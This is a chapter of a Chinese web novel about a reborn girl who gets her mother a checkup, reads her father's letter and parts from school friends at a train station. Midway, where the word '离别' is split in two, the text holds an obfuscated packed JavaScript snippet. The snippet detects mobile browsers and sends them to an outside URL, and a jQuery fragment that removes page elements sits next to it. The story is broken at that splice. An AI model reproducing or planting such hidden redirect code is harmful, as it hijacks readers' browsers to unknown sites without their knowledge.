天台之夜的甜蜜像一层温暖的蜜糖，将顾知秋包裹了好几天。直到周三早上，她端着水杯路过厨房时，看见妈妈正扶着流理台的边缘，微微蹙着眉，另一只手轻轻按着肚子。
“妈，怎么了？”顾知秋赶紧走过去，声音带着自己未察觉的紧绷。
妈妈像是被吓了一跳，立刻松开手，转身露出一个再平常不过的笑容：“没事儿，刚可能起猛了，有点晕。早饭想吃什么？”
顾知秋想到高考后的“体检制约”还没兑现，她怪一直沉浸在高考的轻松里，如此粗心大意。她放下杯子，语气坚决：“妈，明天我陪你去医院看看。上次说的要体检的，就明天一起检查了吧。”虽然妈妈生病是在几年之后，但是她不能冒一点点的风险。
医院的消毒水气味，无论经历多少次，顾知秋都是本能的生理性不适。那味道冰冷地钻进鼻腔，让她每一次呼吸都变得小心翼翼。
她紧紧攥着母亲的一摞检查报告单，纸张的边缘在她汗湿的掌心变得卷边了。等待主任医生看结果的每一分每一秒，都像一个世纪那么漫长。她紧紧盯着医生翻动报告单的手，指甲不知不觉陷进了掌心。脑子里理智的声音在说‘时间还早，不会的’，但另一方面又想到前世的种种状况，让她喉咙发紧。
医生终于抬起头，目光平静地扫过母女二人：“血脂稍微有点偏高，平时饮食注意清淡些，多活动。其他各项指标都在正常范围内，没什么大问题。”
“正常范围”四个字，像一道赦免令，她悬着的心和紧绷的肩膀都松懈了下来。这才发现自己的后背早已被冷汗浸湿，空调冷风吹过，T恤冰凉地贴在皮肤上。
"你看，我就说没事吧。"母亲转过身，轻轻拍着女儿的手，“能有什么事？人吃五谷杂粮，难免有点小毛小病。你就是太紧张了。”
顾知秋没有说话。出诊室后，她只是伸出手用力地抱住了母亲。她把头埋在母亲不算宽阔却异常温暖的肩头，贪婪地呼吸着母亲身上那股熟悉的气息。
那些晒得蓬松的被子散发的阳光味道，那些叠得齐整的衣物，还有深夜书桌上经常出现的牛奶、水果……这些琐碎日常，像磐石一样，撑起她的世界。前世那张泛黄的诊断书，此刻在记忆中无声碎裂。她下定决心，要将眼前这踏实暖意，留得久一些，再久一些。
—
从医院出来，回家路上，母女俩经过一家冰淇淋店。妈妈突然停下脚步：“要不要吃一个？你小时候最爱吃的草莓味。”
妈妈看着小口小口吃着冰淇淋的女儿，目光柔软得像是融化的奶油，想起了什么特别有趣的事，忽然就笑出了声。
“只只，你还记不记得你小学一年级的时候，非要竞选班干部那事？”
顾知秋抬起头，眼神有点茫然：“那么久的事，谁还记得啊。”
“我可记得清清楚楚。”妈妈笑着说起起小豆丁当年站在讲台前意气风发的样子：“我叫顾知秋！你们选我的话，我画画好看，可以给全班同学的作业本都画上小红花，不需要等老师的！”
顾知秋听得目瞪口呆，：“妈！我小时候真的这么……这么傻吗？”
“哪儿傻了？多可爱啊！这都是你们班主任特意跟我说的，还给你们每个竞选选手拍了照片呢。”妈妈笑得更开心了，眼角的纹路都舒展开，“你那时候在奶奶家上学，可活泼了，后来跟我们到苏城读书反而不爱说话了。是爸爸妈妈不好，那几年工作没彻底稳定，没条件一直把你带在身边。”
“哎呀，妈妈，现在不是挺好的吗。”顾知秋靠着她的肩膀撒娇，这也是以前觉得不会有的动作。
“是啊。”母亲轻轻抚过她的发丝，语气里满是藏不住的欣慰，“你是爸爸妈妈最大的骄傲。如今单位里谁见了，都要说一句我们有个好女儿。”
—
母女俩手挽着手，慢悠悠地往家走，“对了，”妈妈脚步放缓了些，她侧头看女儿，语气里带着神秘，“你爸爸有东西要给你。他呀，犹豫了好几天，不好意思当面给。刚才发短信告诉我，偷偷放你书桌上了。”
到家后，她径直回到自己房间。果然发现书桌上放着一个牛皮纸信封，上面用钢笔写着"给只只"，字迹老派又工整，仿佛像钢笔书法字帖。顾知秋拆开，是一封手写信：
【只只：
时间过得真快，感觉昨天你还需要我蹲下来帮你系鞋带，今天的你已经可以自己整理形状，即将踏入人生的下一段路程了。
十八年的时间，一晃而过。看着你从一个牙牙学语的小不点，长成今天懂事的大姑娘，爸爸既欣慰，也很骄傲。
还记得你三岁那年，我们带你去公园。你跑得太急，在石子路上摔了一跤，膝盖破了皮，渗出血丝。眼泪在你的眼眶里打转，但你只是咬着嘴唇，把受伤的膝盖伸到我面前，带着哭腔说了句：“爸爸吹吹就不疼了”。从那时起，我们就知道你就是个很坚强的孩子。
我和你妈妈，一直为你骄傲。不是因为你考了多少分，上了什么大学，而是因为，我们看着你，一步步长成了一个善良、正直、懂得为自己目标坚持努力的大人。这比任何都让我们骄傲。
马上，你就要去大学了，你的人生也将真正走向一片更广阔的天地。但无论你在哪里，走得多高，飞得多远，都请你一定记住：家，永远是你最稳妥的依靠。你不需要总是表现得那么“懂事”。在爸妈眼里，你可以永远是孩子。
照顾好自己。有什么事情随时和家里联系。
——爸爸】
信纸上有几处微皱的痕迹，顾知秋把信小心地夹进日记本。她觉得现在的自己才能懂得到父亲对自己无私又不善表达的爱。想起上一世，父亲因病去世后，她在整理遗物时才发现的那本笔记本，上面密密麻麻记录着她随口提过爱吃的菜，旁边是父亲反复修改尝试的食谱。好在现在一切都不同了，妈妈的病情会得到控制，爸爸也一定会陪自己和妈妈再一起走过好多好多年。
—
离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462315|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别的氛围，在八月的尾声越发浓稠。火车站广场上，阳光炙烤下，空气中弥漫着沥青融化的气味。每天都上演着即将各奔东西的伤感。
顾知秋第一个送别的是许丹丹，她拖着巨大的粉色行李箱，鼻尖上冒着细密的汗珠，防晒霜在脸上留下一道道白痕。
“给！”她突然塞给顾知秋一个丑丑的毛线玩偶，形状像是一只长歪了的兔子，“我亲手钩的，陪伴你的P大生活。别看它长得像变异的地瓜，它可是有魔法的！你放在床上，专防妖魔鬼怪，保佑你大学生活顺风顺水顺财神。”
顾知秋捏着那个看不出是什么的生物，哭笑不得：“谢谢......我会好好放着的。”她顿了顿，声音却有些哽咽：“到了粤州要常联系啊。”
“哎呀，别哭啊！”许丹丹夸张地挥手，自己却先红了眼眶，“粤州又不远，飞机2小时就到了！等你去P大报道，咱们还能视频连线，比比谁的宿舍更豪华呢！”
徐嘉瑜的告别更加干脆利落。她递给顾知秋一个牛皮纸信封，里面是一沓拍立得照片——教室的窗台上摆着的那盆多肉，操场上被夕阳染红的跑道，堆满复习资料的课桌，还有一张偷拍的顾知秋低头做题的侧脸。
“底片我扫描存档了，等到学校发你Q邮箱。”徐嘉瑜抱了抱她，语气笃定，“等你成了大作家，我来给你拍封面。把你的小说拍成电影！”
她说完潇洒地挥挥手，转身走向检票口，马尾辫在脑后一甩一甩的，临走前补充：“咱俩同城，肯定能多见几次面的。到时候我要来P大蹭饭！”
而江一鸣特意比她和时越早两天出发，说是不想自己的走的时候没人送。他在候车厅上蹿下跳，一会儿检查行李，一会儿伸长脖子张望检票公屏，活像只多动症的猴子。
“ 知总！越哥！”他一手搂一个，身上散发着浓烈的古龙水香气，“寒假回来必须聚啊！知总，平时多联系啊，我要听P大的一手八卦！”他在时越警告的眼神中放开了顾知秋，索性专心搂着时越依依不舍。
广播响起检票通知时，原本闹腾的江一鸣突然安静下来。他用力抱了抱时越，又轻轻拍了拍顾知秋的肩膀：“要记得想我啊，我会时不时骚扰你们。”他猛地转身拖着行李大步走向检票口，背对着他们挥了挥手。
送走他们，广场仿佛也空旷了下来。顾知秋看着检票口方向，轻声问：“你行李都收拾好了吗？”
时越点点头，“我查过了，高铁要五个小时。你真的不能跟我一起走吗？”
“我爸妈要去送我呢！下次吧，以后都可以跟你一起回学校啦。”顾知秋捏捏他的手臂安抚。
时越看着她，所有话语化作一抹无奈的纵容。“好。那学校见。”
“学校见。” 顾知秋笑着重复。
对未来的憧憬暂时压过了离别的伤感，也带来一丝丝的不确定。那个陌生的的城市，会有着怎么样的生活呢？她捏着时越的手握得更紧了些，仿佛这样就多一份安心的笃定。